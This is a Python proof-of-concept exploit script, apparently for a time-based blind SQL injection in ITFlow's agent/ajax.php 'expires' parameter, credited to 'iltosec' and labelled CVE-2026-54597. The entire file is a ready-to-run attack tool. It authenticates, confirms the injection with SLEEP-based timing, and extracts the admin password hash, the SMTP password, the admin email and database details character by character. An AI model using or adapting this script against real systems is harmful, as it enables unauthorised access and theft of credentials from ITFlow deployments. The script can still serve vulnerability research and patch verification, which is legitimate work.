import sys import time import argparse import requests parser = argparse.ArgumentParser( prog="exploit.py", description="ITFlow — CVE-2026-54597 - Time-Based Blind SQL Injection PoC (agent/ajax.php expires) - by iltosec", formatter_class=argparse.RawTextHelpFormatter, epilog=( "Examples:\n" " python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1\n" " python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --all\n" " python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --adminhash --smtppass\n" " python exploit.py http://itflow.com iltosec@iltosec.com 'P@ss!' 1 --dbuser --dbversion" ), ) parser.add_argument("url", help="Target base URL (e.g. http://itflow.com)") parser.add_argument("email", help="Login email") parser.add_argument("password", help="Login password") parser.add_argument("cred_id", help="A valid credential ID on the target") parser.add_argument("--adminhash", action="store_true", help="Extract admin password hash") parser.add_argument("--smtppass", action="store_true", help="Extract SMTP password") parser.add_argument("--dbuser", action="store_true", help="Extract MySQL current user") parser.add_argument("--dbversion", action="store_true", help="Extract MySQL version") parser.add_argument("--adminemail", action="store_true", help="Extract admin email address") parser.add_argument("--all", action="store_true", help="Extract everything (overrides other flags)") args = parser.parse_args() if not (args.adminhash or args.smtppass or args.dbuser or args.dbversion or args.adminemail or args.all): args.adminhash = True args.smtppass = True BASE_URL = args.url.rstrip("/") EMAIL = args.email PASSWORD = args.password CRED_ID = args.cred_id DELAY = 2 THRESHOLD = 1.5 session = requests.Session() csrf = None client_id = "1" def login(email, password): r = session.post( f"{BASE_URL}/login.php", data={"email": email, "password": password, "login": ""}, allow_redirects=True, ) return r.status_code == 200 and "logout" in r.text.lower() def refresh_csrf(): global csrf r = session.get(f"{BASE_URL}/agent/clients.php") for line in r.text.splitlines(): if 'name="csrf_token"' in line and "value=" in line: csrf = line.split('value="')[1].split('"')[0] return True return False def reauth(): global csrf print("\n[!] Session expired or invalid — re-authenticating") email_new = input(" Email: ") pass_new = input(" Password: ") if not login(email_new, pass_new) or not refresh_csrf(): print("[-] Re-auth failed. Exiting.") sys.exit(1) print("[+] Re-authenticated") def ask(condition): payload = f"IF(({condition}),SLEEP({DELAY}),0) HOUR" params = { "share_generate_link": "", "item_type": "Credential", "item_id": CRED_ID, "client_id": client_id, "expires": payload, "email": "t@t.com", "view_limit": "0", "csrf_token": csrf, } try: t0 = time.time() r = session.get(f"{BASE_URL}/agent/ajax.php", params=params, timeout=30) elapsed = time.time() - t0 if r.status_code in (401, 403) or "login.php" in r.url: reauth() return ask(condition) return elapsed >= THRESHOLD except requests.RequestException as e: print(f"\n[!] Request failed: {e}") retry = input(" Retry? [Y/n]: ").strip().lower() if retry != "n": return ask(condition) sys.exit(1) def get_length(sql, max_len=80): length = 0 for i in range(1, max_len + 1): if ask(f"LENGTH(({sql}))>={i}"): length = i else: break return length def extract(label, sql, max_len=80): print(f"\n[*] {label}") length = get_length(sql, max_len) if length == 0: print(" Result is empty or unreachable") return "(empty)" result = "" for pos in range(1, length + 1): lo, hi = 32, 126 while lo < hi: mid = (lo + hi + 1) // 2 if ask(f"ORD(SUBSTR(({sql}),{pos},1))>={mid}"): lo = mid else: hi = mid - 1 result += chr(lo) print(f"\r [{pos}/{length}] {result:{max_len}}", end="", flush=True) print() return result def get_client_id_from_page(): r = session.get(f"{BASE_URL}/agent/clients.php") for line in r.text.splitlines(): if "client_id=" in line and "href" in line: try: return line.split("client_id=")[1].split("&")[0].split('"')[0].strip() except Exception: pass return "1" print("=" * 54) print(" ITFlow — Time-Based Blind SQL Injection PoC - by iltosec") print(" Endpoint : agent/ajax.php (expires parameter)") print("=" * 54) print() print(f"[*] Logging in as {EMAIL} ...") if not login(EMAIL, PASSWORD): print("[!] Login failed") EMAIL = input(" Email: ") PASSWORD = input(" Password: ") if not login(EMAIL, PASSWORD): print("[-] Login failed. Exiting.") sys.exit(1) print("[+] Logged in") if not refresh_csrf(): print("[-] Could not retrieve CSRF token. Exiting.") sys.exit(1) print(f"[+] CSRF token : {csrf[:12]}...") client_id = get_client_id_from_page() print(f"[+] client_id : {client_id}") print() print("[*] Verifying injection — IF((SELECT COUNT(*) FROM users)>0, SLEEP(2), 0) HOUR ...") if ask("(SELECT COUNT(*) FROM users)>0"): print("[+] CONFIRMED — SLEEP triggered, injection is live\n") else: print("[-] No delay detected — injection not working or request is blocked.") sys.exit(1) results = {} if args.all or args.adminhash: results["Admin Hash"] = extract( "Admin password hash (bcrypt)", "SELECT user_password FROM users WHERE user_id=1", 60, ) if args.all or args.smtppass: results["SMTP Password"] = extract( "SMTP password (settings table)", "SELECT config_smtp_password FROM settings WHERE company_id=1 LIMIT 1", 60, ) if args.all or args.dbuser: results["DB User"] = extract("MySQL current user", "SELECT user()", 30) if args.all or args.dbversion: results["DB Version"] = extract("MySQL version", "SELECT VERSION()", 30) if args.all or args.adminemail: results["Admin Email"] = extract( "Admin email address", "SELECT user_email FROM users WHERE user_id=1", 60, ) print() print("=" * 54) print(" Results") print("=" * 54) for k, v in results.items(): print(f" {k:<16} : {v}") print("=" * 54) if "Admin Hash" in results and results["Admin Hash"] not in ("", "(empty)"): print() print()